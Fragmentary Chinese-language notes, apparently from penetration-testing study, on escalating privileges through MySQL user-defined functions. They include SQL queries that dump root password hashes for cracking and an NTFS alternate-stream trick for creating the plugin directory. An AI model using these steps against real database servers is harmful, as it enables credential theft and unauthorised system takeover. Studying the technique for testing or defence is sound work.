udf可以自定义执行命令函数


    1. 5.0以下udf.dll没有路径限制

      导出路径随意

    2. 5.0-5.1上传到系统目录

    3. 5.1-5.6上传到mysql安装目录下的lib\plugin\


    mysql服务没有被降权,以高权限运行,且掌握root的账号密码
    如果net user 出现mysql.则很可能已被降权

    1. root密码查询
    2. # MySQL <= 5.6 版本
    3. select user,password from mysql.user where user='root';
    4. # MySQL >= 5.7 版本
    5. select host,user,authentication_string from mysql.user;
    6. hash放入md5网站破解

    image.png


    sercure_file_priv为空,从而可以上传udf.dll

    image.png

    service mysqld stop service mysqld start

    image.png
    利用ntfs特性创建文件夹

    1. 创建lib文件夹
    2. select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
    3. 创建plugin文件夹
    4. select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
    5. //没有成功,猜测是权限问题导致

    CREATE权限,FILE权限(root用户默认拥有所有权限)

    1. select * from mysql.user where user = substring_index(user(), '@', 1)\G;

    image.png